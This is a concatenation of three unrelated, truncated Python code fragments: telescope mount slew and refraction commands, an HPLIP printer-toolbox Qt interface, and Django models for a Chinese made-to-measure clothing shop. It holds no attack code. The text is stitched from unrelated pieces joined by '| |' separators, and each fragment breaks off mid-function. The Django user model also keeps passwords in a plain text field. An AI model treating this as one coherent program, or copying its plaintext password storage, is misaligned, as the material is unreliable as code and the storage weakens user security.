different slew speeds leads to a scenario, that we get a different setup
in max slew speed as well.
:return: success
"""
conn = Connection(self.host)
commandString = ':RC2#:RC#'
suc, response, numberOfChunks = conn.communicate(commandString)
return suc
def setSlewSpeedMed(self):
"""
setSlewSpeedMed set the slewing speed to centering rate. the different
speeds are set through setting different centering rates, because setting
different slew speeds leads to a scenario, that we get a different setup
in max slew speed as well.
:return: success
"""
conn = Connection(self.host)
centerSpeed = 255
commandString = f':Rc{centerSpeed:02.0f}#:RC#'
suc, response, numberOfChunks = conn.communicate(commandString)
return suc
def setSlewSpeedLow(self):
"""
setSlewSpeedLow set the slewing speed to centering rate. the different
speeds are set through setting different centering rates, because setting
different slew speeds leads to a scenario, that we get a different setup
in max slew speed as well.
:return: success
"""
conn = Connection(self.host)
centerSpeed = 128
commandString = f':Rc{centerSpeed:02.0f}#:RC#'
suc, response, numberOfChunks = conn.communicate(commandString)
return suc
def setRefractionParam(self, temperature=None, pressure=None):
"""
setRefractionParam sends the command for setting the temperature and
pressure to the mount. the limits are set to -40 to +75 for temp and 500
to 1300 hPa for pressure, but there is not real documented limit.
:param temperature: float for temperature correction in Celsius
:param pressure: float for pressure correction in hPa
:return: success
"""
if temperature is None:
return False
if pressure is None:
return False
if temperature < -40:
return False
elif temperature > 75:
return False
if pressure < 500:
return False
elif pressure > 1300:
return False
conn = Connection(self.host)
commandString = f':SRPRS{pressure:06.1f}#:SRTMP{temperature:+06.1f}#'
suc, response, numberOfChunks = conn.communicate(commandString)
if not suc:
return False
if response[0] != '11':
return False
return True
def setRefractionTemp(self, value):
"""
setRefractionTemp sends the command for setting the temperature to the
mount. | |
PRINTER NAME COMBOS
#
# ***********************************************************************************
def updatePrinterList(self):
if self.cur_device is not None and \
self.cur_device.supported:
printers = cups.getPrinters()
self.cur_device.cups_printers = []
for p in printers:
if p.device_uri == self.cur_device_uri:
self.cur_device.cups_printers.append(p.name)
def UpdatePrinterCombos(self):
self.PrintSettingsPrinterCombo.clear()
self.PrintJobPrinterCombo.clear()
if self.cur_device is not None and \
self.cur_device.supported:
for c in self.cur_device.cups_printers:
self.PrintSettingsPrinterCombo.insertItem(c.decode("utf-8"))
self.PrintJobPrinterCombo.insertItem(c.decode("utf-8"))
self.cur_printer = to_unicode(self.PrintSettingsPrinterCombo.currentText())
def PrintSettingsPrinterCombo_activated(self, s):
self.cur_printer = to_unicode(s)
self.PrintJobPrinterCombo.setCurrentText(self.cur_printer.encode("latin1")) # TODO: ?
return self.PrinterCombo_activated(self.cur_printer)
def PrintJobPrinterCombo_activated(self, s):
self.cur_printer = to_unicode(s)
self.PrintSettingsPrinterCombo.setCurrentText(self.cur_printer.encode("latin1")) # TODO: ?
return self.PrinterCombo_activated(self.cur_printer)
def PrinterCombo_activated(self, printer):
self.TabIndex[self.Tabs.currentPage()]()
self.UpdatePrintSettingsTabPrinter()
# ***********************************************************************************
#
# FUNCTIONS/ACTION TAB
#
# ***********************************************************************************
def InitFuncsTab(self):
self.click_lock = None
def UpdateFuncsTab(self):
self.iconList.clear()
d = self.cur_device
if d is not None:
avail = d.device_state != DEVICE_STATE_NOT_FOUND and d.supported
fax = d.fax_type and prop.fax_build and d.device_type == DEVICE_TYPE_FAX and \
sys.hexversion >= 0x020300f0 and avail
printer = d.device_type == DEVICE_TYPE_PRINTER and avail
req_plugin = d.plugin == PLUGIN_REQUIRED
opt_plugin = d.plugin == PLUGIN_OPTIONAL
hplip_conf = ConfigParser.ConfigParser()
fp = open("/etc/hp/hplip.conf", "r")
hplip_conf.readfp(fp)
fp.close()
try:
plugin_installed = utils.to_bool(hplip_conf.get("hplip", "plugin"))
except ConfigParser.NoOptionError:
plugin_installed = False
if d.plugin:
if req_plugin and plugin_installed:
x = self.__tr("Download and install<br>required plugin (already installed).")
elif req_plugin and not plugin_installed:
x = self.__tr("Download and install<br>required plugin (needs installation).")
elif opt_plugin and plugin_installed:
x = self.__tr("Download and install<br>optional plugin (already installed).")
elif opt_plugin and not plugin_installed:
x = self.__tr("Download and install<br>optional plugin (needs installation).")
else:
x = ''
self.ICONS = [
# PRINTER
(lambda : printer, # filter func
self.__tr("Print"), # Text
"print", # Icon
self.__tr("Print documents or files."), # Tooltip
self.user_settings.cmd_print), # command/action
(lambda : d.scan_type and prop.scan_build and \
d.device_type == DEVICE_TYPE_PRINTER and avail,
self.__tr("Scan"),
"scan",
self.__tr("Scan a document, image, or photograph.<br>"),
self.user_settings.cmd_scan),
(lambda : d.copy_type and d.device_type == DEVICE_TYPE_PRINTER and avail,
self.__tr("Make Copies"),
"makecopies",
self.__tr("Make copies on the device controlled by the PC.<br>"),
self.user_settings.cmd_copy),
(lambda : d.pcard_type and d.device_type == DEVICE_TYPE_PRINTER and avail,
self.__tr("Unload Photo Card"),
"makecopies",
self.__tr("Copy images from the device's photo card to the PC."),
self.PCardButton_clicked),
# FAX
(lambda: fax,
self.__tr("Send Fax"),
"fax",
self.__tr("Send a fax from the PC."),
self.user_settings.cmd_fax),
(lambda: fax,
self.__tr("Fax Setup"),
"fax_setup",
self.__tr("Fax support must be setup before you can send faxes."),
self.faxSettingsButton_clicked),
(lambda: fax,
self.__tr("Fax Address Book"),
"fab",
self.__tr("Setup fax phone numbers to use when sending faxes from the PC."),
self.cmd_fab),
# SETTINGS/TOOLS
(lambda : self.cur_device.device_settings_ui is not None and avail,
self.__tr("Device Settings"),
"settings",
self.__tr("Your device has special device settings.<br>You may alter these settings here."),
self.deviceSettingsButton_clicked),
(lambda : printer,
self.__tr("Print Test Page"),
"testpage",
self.__tr("Print a test page to test the setup of your printer."),
self.PrintTestPageButton_clicked),
(lambda : True,
self.__tr("View Printer (Queue) Information"),
"cups",
self.__tr("View the printers (queues) installed in CUPS."),
self.viewPrinterInformation),
(lambda : True,
self.__tr("View Device Information"),
"info",
self.__tr("This information is primarily useful for <br>debugging and troubleshooting (advanced)."),
self.viewInformation),
(lambda: printer and d.align_type,
self.__tr("Align Cartridges (Print Heads)"),
"align",
self.__tr("This will improve the quality of output when a new cartridge is installed."),
self.AlignPensButton_clicked),
(lambda: printer and d.clean_type,
self.__tr("Clean Printheads"),
"clean",
self.__tr("You only need to perform this action if you are<br>having problems with poor printout quality due to clogged ink nozzles."),
self.CleanPensButton_clicked),
(lambda: printer and d.color_cal_type and d.color_cal_type == COLOR_CAL_TYPE_TYPHOON,
self.__tr("Color Calibration"),
"colorcal",
self.__tr("Use this procedure to optimimize your printer's color output<br>(requires glossy photo paper)."),
self.ColorCalibrationButton_clicked),
(lambda: printer and d.color_cal_type and d.color_cal_type != COLOR_CAL_TYPE_TYPHOON,
self.__tr("Color Calibration"),
"colorcal",
self.__tr("Use this procedure to optimimize your printer's color output."),
self.ColorCalibrationButton_clicked),
(lambda: printer and d.linefeed_cal_type,
self.__tr("Line Feed Calibration"),
"linefeed_cal",
self.__tr("Use line feed calibration to optimize print quality<br>(to remove gaps in the printed output)."),
self.linefeedCalibration),
(lambda: printer and d.pq_diag_type,
self.__tr("Print Diagnostic Page"),
"pq_diag",
self.__tr("Your printer can print a test page <br>to help diagnose print quality problems."),
self.pqDiag),
# FIRMWARE
(lambda : printer and d.fw_download,
self.__tr("Download Firmware"),
"firmware",
self.__tr("Download firmware to your printer <br>(required on some devices after each power-up)."),
self.ShowFirmwareDlg),
# PLUGIN
(lambda : req_plugin,
self.__tr("Install Required Plugin"),
"plugin",
x, #self.__tr("Download and install the HPLIP plugin."),
self.downloadPlugin),
(lambda : opt_plugin,
self.__tr("Install Optional Plugin"),
"plugin",
x, #self.__tr("Download and install the HPLIP plugin."),
self.downloadPlugin),
# HELP/WEBSITE
(lambda : True,
self.__tr("Visit HPLIP Website"),
"hp_logo",
self.__tr("Visit HPLIP website."),
self.viewSupport),
(lambda : True,
self.__tr("Help"),
"help",
self.__tr("View HPLIP help."),
self.viewHelp),
]
if not self.func_icons_cached:
for filter, text, icon, tooltip, cmd in self.ICONS:
self.func_icons[icon] = load_pixmap(icon, '32x32')
self.func_icons_cached = True
for filter, text, icon, tooltip, cmd in self.ICONS:
if filter is not None:
if not list(filter()):
continue
FuncViewItem(self.iconList, text,
self.func_icons[icon],
tooltip,
cmd)
def downloadPlugin(self):
ok, sudo_ok = pkit.run_plugin_command(self.cur_device.plugin == PLUGIN_REQUIRED, self.cur_device.mq['plugin-reason'])
if not sudo_ok:
QMessageBox.critical(self,
self.caption(),
self.__tr("<b>Unable to find an appropriate su/sudo utility to run hp-plugin.</b><p>Install kdesu, gnomesu, or gksu.</p>"),
QMessageBox.Ok,
QMessageBox.NoButton,
QMessageBox.NoButton)
else:
self.UpdateFuncsTab()
def iconList_clicked(self, item):
return self.RunFuncCmd(item)
def RunFuncCmd(self, item):
if item is not None and self.click_lock is not item:
try:
item.cmd()
except TypeError:
self.RunCommand(item.cmd)
self.click_lock = item
QTimer.singleShot(1000, self.UnlockClick)
def UnlockClick(self):
self.click_lock = None
def RunFuncCmdContext(self):
return self.RunFuncCmd(self.iconList.currentItem())
def iconList_contextMenuRequested(self, item, pos):
if item is not None and item is self.iconList.currentItem():
popup = QPopupMenu(self)
popup.insertItem(self.__tr("Open..."), self.RunFuncCmdContext)
popup.popup(pos)
def iconList_returnPressed(self, item):
return self.RunFuncCmd(item)
def deviceSettingsButton_clicked(self):
try:
self.cur_device.open()
self.cur_device.device_settings_ui(self.cur_device, self)
finally:
self.cur_device.close()
def setupDevice_activated(self):
try:
self.cur_device.open()
self.cur_device.device_settings_ui(self.cur_device, self)
finally:
self.cur_device.close()
def PrintButton_clicked(self):
self.RunCommand(self.user_settings.cmd_print)
def ScanButton_clicked(self):
self.RunCommand(self.user_settings.cmd_scan)
def PCardButton_clicked(self):
if self.cur_device.pcard_type == PCARD_TYPE_MLC:
self.RunCommand(self.user_settings.cmd_pcard)
elif self.cur_device.pcard_type == PCARD_TYPE_USB_MASS_STORAGE:
self.FailureUI(self.__tr("<p><b>Photocards on your printer are only available by mounting them as drives using USB mass storage.</b><p>Please refer to your distribution's documentation for setup and usage instructions."))
def SendFaxButton_clicked(self):
self.RunCommand(self.user_settings.cmd_fax)
def MakeCopiesButton_clicked(self):
self.RunCommand(self.user_settings.cmd_copy)
def ConfigureFeaturesButton_clicked(self):
self.settingsConfigure_activated(2)
def viewInformation(self):
dlg = ScrollDialog(ScrollDeviceInfoView, self.cur_device, self.cur_printer, self.service, self)
dlg.exec_loop()
def viewPrinterInformation(self):
dlg = ScrollDialog(ScrollPrinterInfoView, self.cur_device, self.cur_printer, self.service, self)
dlg.exec_loop()
def viewHelp(self):
f = "http://hplip.sf.net"
if prop.doc_build:
g = os.path.join(sys_conf.get('dirs', 'doc'), 'index.html')
if os.path.exists(g):
f = "file://%s" % g
log.debug(f)
utils.openURL(f)
def viewSupport(self):
f = "http://hplip.sf.net"
log.debug(f)
utils.openURL(f)
def pqDiag(self):
d = self.cur_device
pq_diag = d.pq_diag_type
try:
QApplication.setOverrideCursor(QApplication.waitCursor)
try:
d.open()
except Error:
self.CheckDeviceUI()
else:
if d.isIdleAndNoError():
QApplication.restoreOverrideCursor()
if pq_diag == 1:
maint.printQualityDiagType1(d, self.LoadPaperUI)
elif pq_diag == 2:
maint.printQualityDiagType2(d, self.LoadPaperUI)
else:
self.CheckDeviceUI()
finally:
d.close()
QApplication.restoreOverrideCursor()
def linefeedCalibration(self):
d = self.cur_device
linefeed_type = d.linefeed_cal_type
try:
QApplication.setOverrideCursor(QApplication.waitCursor)
try:
d.open()
except Error:
self.CheckDeviceUI()
else:
if d.isIdleAndNoError():
QApplication.restoreOverrideCursor()
if linefeed_type == 1:
maint.linefeedCalType1(d, self.LoadPaperUI)
elif linefeed_type == 2:
maint.linefeedCalType2(d, self.LoadPaperUI)
else:
self.CheckDeviceUI()
finally:
d.close()
QApplication.restoreOverrideCursor()
def downloadFirmware(self):
d = self.cur_device
ok = False
try:
QApplication.setOverrideCursor(QApplication.waitCursor)
d.open()
if d.isIdleAndNoError():
ok = d.downloadFirmware()
finally:
d.close()
QApplication.restoreOverrideCursor()
if not ok:
self.FailureUI(self.__tr("<b>An error occured downloading firmware file.</b><p>Please check your printer and ensure that the HPLIP plugin has been installed."))
def CheckDeviceUI(self):
self.FailureUI(self.__tr("<b>Device is busy or in an error state.</b><p>Please check device and try again."))
def LoadPaperUI(self, msg="", title=""):
LPFObj = LoadPaperForm(self)
if title:
LPFObj.setCaption(title)
if msg:
LPFObj.textLabel7.setText(msg)
if LPFObj.exec_loop() == QDialog.Accepted:
return True
return False
def AlignmentNumberUI(self, letter, hortvert, colors, line_count, choice_count):
dlg = AlignForm(self, letter, hortvert, colors, line_count, choice_count)
if dlg.exec_loop() == QDialog.Accepted:
return True, dlg.value
else:
return False, 0
def PaperEdgeUI(self, maximum):
dlg = PaperEdgeAlignForm(self)
if dlg.exec_loop() == QDialog.Accepted:
return True, dlg.value
else:
return False, 0
def BothPensRequiredUI(self):
self.WarningUI(self.__tr("<p><b>Both cartridges are required for alignment.</b><p>Please install both cartridges and try again."))
def InvalidPenUI(self):
self.WarningUI(self.__tr("<p><b>One or more cartiridges are missing from the printer.</b><p>Please install cartridge(s) and try again."))
def PhotoPenRequiredUI(self):
self.WarningUI(self.__tr("<p><b>Both the photo and color cartridges must be inserted into the printer to perform color calibration.</b><p>If you are planning on printing with the photo cartridge, please insert it and try again."))
def PhotoPenRequiredUI2(self):
self.WarningUI(self.__tr("<p><b>Both the photo (regular photo or photo blue) and color cartridges must be inserted into the printer to perform color calibration.</b><p>If you are planning on printing with the photo or photo blue cartridge, please insert it and try again."))
def NotPhotoOnlyRequired(self): # Type 11
self.WarningUI(self.__tr("<p><b>Cannot align with only the photo cartridge installed.</b><p>Please install other cartridges and try again."))
def AioUI1(self):
dlg = AlignType6Form1(self)
return dlg.exec_loop() == QDialog.Accepted
def AioUI2(self):
AlignType6Form2(self).exec_loop()
def Align10and11UI(self, pattern, align_type):
dlg = Align10Form(pattern, align_type, self)
dlg.exec_loop()
return dlg.getValues()
def Align13UI(self):
dlg = Align13Form(self)
dlg.exec_loop()
return True
def AlignPensButton_clicked(self):
d = self.cur_device
align_type = d.align_type
log.debug("Align: %s %s (type=%d) %s" % ("*"*20, self.cur_device.device_uri, align_type, "*"*20))
try:
QApplication.setOverrideCursor(QApplication.waitCursor)
try:
d.open()
except Error:
| |
# coding:utf8
from django.db import models
from django.template.defaultfilters import default
from import_export import fields
from import_export import resources
# Create your models here.
def get_uploadto_path(model, filename):
return 'media/%s' % (filename)
SEX_TYPE_LIST = (
('女', '女'),
('男', '男'),
)
PRODUCT_TYPE_LIST = (
('suit', '西服'),
('shirt', '衬衫'),
)
USED_TYPE_LIST = (
('1', '已使用'),
('0', '未使用'),
)
COUPON_TYPE_LIST = (
('shirt', '衬衫优惠券'),
('suit', '西服优惠券'),
('redpacket', '微信红包优惠券'),
)
PIANHAO_TYPE_LIST = (
('0', '修身'),
('1', '合身'),
('2', '宽松'),
)
LINGDAI_TYPE_LIST = (
('0', '打领带'),
('1', '不打领带'),
)
SOUBIAO_TYPE_LIST = (
('2', '无手表'),
('1', '手表右'),
('0', '手表左'),
)
SUIT_SHANGYI_TYPE_LIST = (
('0', '长'),
('1', '短'),
)
class User(models.Model):
openid = models.CharField(max_length=128, blank=True, null=True, default='', verbose_name='微信用户标识')
nickname = models.CharField(max_length=128, blank=True, null=True, default='', verbose_name='昵称')
name = models.CharField(max_length=128, blank=True, null=True, default='', verbose_name='姓名')
sex = models.CharField(max_length=10, blank=True, null=True, default='男', choices=SEX_TYPE_LIST, verbose_name='性别')
phonenumber = models.CharField(max_length=16, blank=True, null=True, default='', verbose_name='电话')
password = models.CharField(max_length=64, blank=True, null=True, default='', verbose_name='密码')
shoulder_percent = models.IntegerField(max_length=11, blank=True, null=True, default='0', verbose_name='肩宽百分比')
chest_percent = models.IntegerField(max_length=11, blank=True, null=True, default='0', verbose_name='胸围百分比')
waist_percent = models.IntegerField(max_length=11, blank=True, null=True, default='0', verbose_name='腰围百分比')
hip_percent = models.IntegerField(max_length=11, blank=True, null=True, default='0', verbose_name='臀围百分比')
leg_percent = models.IntegerField(max_length=11, blank=True, null=True, default='0', verbose_name='腿长百分比')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
measure_time = models.DateTimeField(blank=True, null=True, verbose_name='量体时间')
measure_phonenumber = models.CharField(max_length=16, blank=True, null=True, default='', verbose_name='量体时记录的电话')
measure_status = models.BooleanField(default=False, verbose_name='是否量体完成')
height = models.CharField(max_length=32, blank=True, null=True, default='', verbose_name='身高')
weight = models.CharField(max_length=32, blank=True, null=True, default='', verbose_name='体重')
#tixing = models.CharField(max_length=32, blank=True, null=True, default='', verbose_name='体型')
favor = models.CharField(max_length=32, blank=True, null=True, default='',choices=PIANHAO_TYPE_LIST, verbose_name='个人偏好')
istie = models.CharField(max_length=32, blank=True, null=True, default='',choices=LINGDAI_TYPE_LIST, verbose_name='是否打领带')
iswatch = models.CharField(max_length=32, blank=True, null=True, default='',choices=SOUBIAO_TYPE_LIST, verbose_name='是否戴手表')
suit_shangyi = models.CharField(max_length=32, blank=True, null=True, default='',choices=SUIT_SHANGYI_TYPE_LIST, verbose_name='西装上衣')
lingwei = models.CharField(max_length=32, blank=True, null=True, default='', verbose_name='领围')
chest = models.CharField(max_length=32, blank=True, null=True, default='', verbose_name='胸围')
waist = models.CharField(max_length=32, blank=True, null=True, default='', verbose_name='腰围')
shoulder = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='肩宽')
sleeve_right = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='袖长(默认右)')
sleeve_lefet = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='袖长(左)')
back_cloth = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='后衣长')
dianjian_right = models.CharField(max_length=32, blank=True, default='0', verbose_name='垫肩(默认右)')
dianjian_left = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='垫肩(左)')
chest_distance = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='胸间距')
chest_height = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='胸高点')
stomach = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='肚围')
hip = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='臀围')
kuyao = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='裤腰围')
kuchang = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='裤长')
hengdang = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='横裆')
xiwei = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='膝围')
kukou = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='裤口')
qunchang = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='裙长')
lidang = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='立裆')
majia_qianchang = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='马甲前长')
majia_houchang = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='马甲后长')
xiulong = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='袖笼')
chougenfen = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='袖根肥')
xiukou_right = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='右袖口')
xiukou_left = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='左袖口')
tingxiong = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='挺胸')
tuobei = models.CharField(max_length=32, blank=True, null=True, default='0', verbose_name='驼背')
liangtishi = models.CharField(max_length=32, blank=True, null=True, default='', verbose_name='量体师')
def __unicode__(self):
return self.name + ':' + str(self.phonenumber)
class Meta:
verbose_name = '注册用户'
verbose_name_plural = '注册用户'
class Product(models.Model):
title = models.CharField(max_length=128, blank=True, null=True, verbose_name='名称')
img_with_text = models.ImageField(upload_to=get_uploadto_path,blank=True, null=True, verbose_name='带文字的产品图片,用在产品列表')
img = models.ImageField(upload_to=get_uploadto_path,blank=True, null=True, verbose_name='产品图片,用在产品详情顶部')
price = models.IntegerField(max_length=11, blank=True, null=True, verbose_name='价格')
fabricname = models.TextField(blank=True, null=True, verbose_name='面料,|分割')
craft = models.TextField(blank=True, null=True, verbose_name='工艺,|分割')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
type = models.CharField(max_length=10, blank=False, null=False, default='shirt', choices=PRODUCT_TYPE_LIST, verbose_name='产品类型')
def __unicode__(self):
return self.title
class Meta:
verbose_name = '产品(西装衬衫)'
verbose_name_plural = '产品(西装衬衫)'
# 优惠券
class Coupon(models.Model):
title = models.CharField(max_length=128, blank=True, null=True, verbose_name='名称')
money = models.IntegerField(max_length=8, blank=True, null=True, default=0, verbose_name='金额')
user = models.ForeignKey(User, verbose_name='用户', blank=True, null=True)
isUsed = models.CharField(max_length=2, blank=False, null=False, default='0', choices=USED_TYPE_LIST, verbose_name='是否使用')
type = models.CharField(max_length=10, blank=False, null=False, default='shirt', choices=COUPON_TYPE_LIST, verbose_name='优惠券类型')
expire_time = models.DateTimeField(blank=True, null=True, verbose_name='失效时间')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
use_time = models.DateTimeField(blank=True, null=True, verbose_name='使用时间')
def __unicode__(self):
return self.title
class Meta:
verbose_name = '优惠券'
verbose_name_plural = '优惠券'
# 短信验证码
class VerificationCode(models.Model):
code = models.CharField(max_length=8, blank=True, null=True, verbose_name='验证码')
phone = models.CharField(max_length=16, blank=True, null=True, verbose_name='手机号码')
use_time = models.DateTimeField(auto_now_add=False, null=True, verbose_name='验证时间')
expire_time = models.DateTimeField(auto_now_add=False, null=True, verbose_name='失效时间')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
def __unicode__(self):
return self.code
class Meta:
verbose_name = '验证码'
verbose_name_plural = '验证码'
# 订单地址
class Address4Order(models.Model):
user = models.ForeignKey(User, verbose_name='用户', blank=True, null=True)
#user_id = models.IntegerField(max_length=11, blank=True, null=True, default=0, verbose_name='用户id')
recipient = models.CharField(max_length=128, blank=True, null=True, verbose_name='收件人')
phone = models.CharField(max_length=16, blank=True, null=True, default='', verbose_name='收件人电话')
address_region = models.CharField(max_length=64, blank=True, null=True, default='', verbose_name='所在市区')
address_street = models.CharField(max_length=128, blank=True, null=True, default='', verbose_name='街道详细地址')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
def __unicode__(self):
return self.recipient+ ':' + self.address_region+ ':' +self.address_street
class Meta:
verbose_name = '用户常用订单地址'
verbose_name_plural = '用户常用订单地址'
class Address4OrderResource(resources.ModelResource):
class Meta:
model = Address4Order
# 面料
class Fabric(models.Model):
name = models.CharField(max_length=64, blank=True, null=True, verbose_name='名称')
product = models.ForeignKey(Product, blank=True, null=True, verbose_name='所属产品')
volume =models.FloatField(max_length=64, blank=True, null=True, verbose_name='数量')
thumbnail_url = models.ImageField(upload_to=get_uploadto_path,blank=True, null=True, verbose_name='面料缩略图')
image_url = models.ImageField(upload_to=get_uploadto_path,blank=True, null=True, verbose_name='面料大图')
content = models.TextField(blank=True, null=True, verbose_name='面料描述')
price = models.IntegerField(max_length=11, blank=True, null=True, verbose_name='价格')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
def __unicode__(self):
return self.name
class Meta:
verbose_name = '面料信息'
verbose_name_plural = '面料信息'
class Pack(models.Model):
name = models.CharField(max_length=64, blank=True, null=True, verbose_name='名称')
volume = models.FloatField(max_length=64, blank=True, null=True, verbose_name='数量')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
def __unicode__(self):
return self.name
class Meta:
verbose_name = '包装材料'
verbose_name_plural = '包装材料'
class PackResource(resources.ModelResource):
class Meta:
model = Pack
# 预约量体
class MeasureReservation(models.Model):
user = models.ForeignKey(User, verbose_name='用户', blank=True, null=True)
#user_id = models.IntegerField(max_length=11, blank=True, null=True, default=0, verbose_name='用户id')
reservation_number = models.CharField(max_length=128, blank=True, null=True, verbose_name='量体预约号')
phone = models.CharField(max_length=128, blank=True, null=True, verbose_name='预约手机')
sex = models.CharField(max_length=10, blank=True, null=True, default='女', choices=SEX_TYPE_LIST, verbose_name='性别')
weight = models.FloatField(blank=True, null=True, default=0, verbose_name='体重')
height = models.FloatField(blank=True, null=True, default=0, verbose_name='身高')
reservation_time = models.DateTimeField(blank=True, null=True, verbose_name='预约时间')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
address_region = models.CharField(max_length=64, blank=True, null=True, default='', verbose_name='所在市区')
address_street = models.CharField(max_length=128, blank=True, null=True, default='', verbose_name='街道详细地址')
def __unicode__(self):
return self.reservation_number
class Meta:
verbose_name = '预约量体'
verbose_name_plural = '预约量体'
class MeasureReservationResource(resources.ModelResource):
class Meta:
model = MeasureReservation
class ClothParam(models.Model):
name = models.CharField(max_length=32, blank=True, null=True, verbose_name='参数名称')
price = models.FloatField(blank=True, null=True, default=0, verbose_name='价格')
image = models.ImageField(upload_to=get_uploadto_path,blank=True, null=True, verbose_name='图片')
create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')
def __unicode__(self):
return self.name
# 扣型(上衣)
class KouXingShangYi(ClothParam):
class Meta:
verbose_name = '扣型(上衣)'
verbose_name_plural = '扣型(上衣)'
KOUXING_TYPE_LIST = (
('1', '1'),
('2', '2'),
('3', '3'),
('2*1', '2*1'),
('4*2', '4*2'),
('6*2', '6*2'),
)
# 领型(上衣)
class LingXingShangYi(ClothParam):
class Meta:
verbose_name = '领型(上衣)'
verbose_name_plural = '领型(上衣)'
LINGXING_TYPE_LIST = (
('平驳头', '平驳头'),
('枪驳头', '枪驳头'),
('礼服领', '礼服领'),
)
# 腰兜(上衣)
class YaoDouShangYi(ClothParam):
class Meta:
verbose_name = '腰兜(上衣)'
verbose_name_plural = '腰兜(上衣)'
YAODOU_TYPE_LIST = (
('普通', '普通'),
('斜兜', '斜兜'),
('双牙兜', '双牙兜'),
)
# 开气(上衣)
class KaiQiShangYi(ClothParam):
class Meta:
verbose_name = '开气(上衣)'
verbose_name_plural = '开气(上衣)'
KAIQI_TYPE_LIST = (
('后开气', '后开气'),
('侧开气', '侧开气'),
('无', '无'),
)
# 袖扣(上衣)
class XiuKouShangYi(ClothParam):
class Meta:
verbose_name = '袖扣(上衣)'
verbose_name_plural = '袖扣(上衣)'
XIUKOU_TYPE_LIST = (
('3', '3'),
('4', '4'),
)
# 内部造型(上衣)
class NeiBuZaoXingShangYi(ClothParam):
class Meta:
verbose_name = '内部造型(上衣)'
verbose_name_plural = '内部造型(上衣)'
NEIBUZAOXING_TYPE_LIST = (
('时尚款', '时尚款'),
('传统款', '传统款'),
)
# 内部兜(上衣)
class NeiBuDouShangYi(ClothParam):
class Meta:
verbose_name = '内部兜(上衣)'
verbose_name_plural = '内部兜(上衣)'
NEIBUDOU_TYPE_LIST = (
('里兜', '里兜'),
('笔兜', '笔兜'),
('烟兜', '烟兜'),
('里兜|笔兜', '里兜|笔兜'),
('里兜|烟兜', '里兜|烟兜'),
('笔兜|烟兜', '笔兜|烟兜'),
('里兜|笔兜|烟兜', '里兜|笔兜|烟兜'),
)
# 裤褶(西裤)
class KuZheXiKu(ClothParam):
class Meta:
verbose_name = '裤褶(西裤)'
verbose_name_plural = '裤褶(西裤)'
KUZHE_TYPE_LIST = (
('无褶', '无褶'),
('单褶', '单褶'),
('双褶', '双褶'),
)
# 后兜(西裤)
class HouDouXiKu(ClothParam):
class Meta:
verbose_name = '后兜(西裤)'
verbose_name_plural = '后兜(西裤)'
HOUDOU_TYPE_LIST = (
('右边', '右边'),
('两边', '两边'),
)
# 裤脚(西裤)
class KuJiaoXiKu(ClothParam):
class Meta:
verbose_name = '裤脚(西裤)'
verbose_name_plural = '裤脚(西裤)'
KUJIAO_TYPE_LIST = (
('内折边', '内折边'),
('外翻边', '外翻边'),
)
# 马甲领型
class MaJiaLingXing(ClothParam):
class Meta:
verbose_name = '马甲领型'
verbose_name_plural = '马甲领型'
MAJIA_LINGXING_TYPE_LIST = (
('V领', 'V领'),
('U领', 'U领'),
)
# 马甲 扣型
class MaJiaKouXing(ClothParam):
class Meta:
verbose_name = '马甲扣型'
verbose_name_plural = '马甲扣型'
MAJIA_KOUXING_TYPE_LIST = (
('4', '4'),
('5', '5'),
('6', '6'),
('4*2', '4*2'),
('6*3', '6*3'),
('8*4', '8*4'),
)
# 定制个性化设置. 如果某个个性化参数根据产品有所不同,就在产品字段填写对应产品名称和类型
class OrderPersonalization(ClothParam):
product_type = models.CharField(max_length=10, blank=True, null=True, default='shirt', choices=PRODUCT_TYPE_LIST, verbose_name='对应产品类型')
product_name = models.CharField(max_length=32, blank=True, null=True, default='', verbose_name='对应产品名称')
class Meta:
verbose_name = '定制个性化'
verbose_name_plural = '定制个性化'
ORDER_STATUS_TYPE_LIST = (
('未付款', '未付款'),
('已付款', '已付款'),
('定制中', '定制中'),
('定制完成', '定制完成'),
('配送中', '配送中'),
('已交付', '已交付'),
)
PLANT_STATUS_TYPE_LIST = (
('等待制作', '等待制作'),
('制作中', '制作中'),
('制作完成', '制作完成'),
('配送中', '配送中'),
('已交付', '已交付'),
)
# 领型(衬衫)
class LingXingChenShan(ClothParam):
class Meta:
verbose_name = '领型(衬衫)'
verbose_name_plural = '领型(衬衫)'
CHENSHAN_LINGXING_TYPE_LIST = (
('标准', '标准'),
('八字', '八字'),
('一字', '一字'),
('领尖扣领', '领尖扣领'),
('小方领', '小方领'),
('礼服领', '礼服领'),
)
# 袖口(衬衫)
class XiuKouChenShan(ClothParam):
class Meta:
verbose_name = '袖口(衬衫)'
verbose_name_plural = '袖口(衬衫)'
CHENSHAN_XIUKOU_TYPE_LIST = (
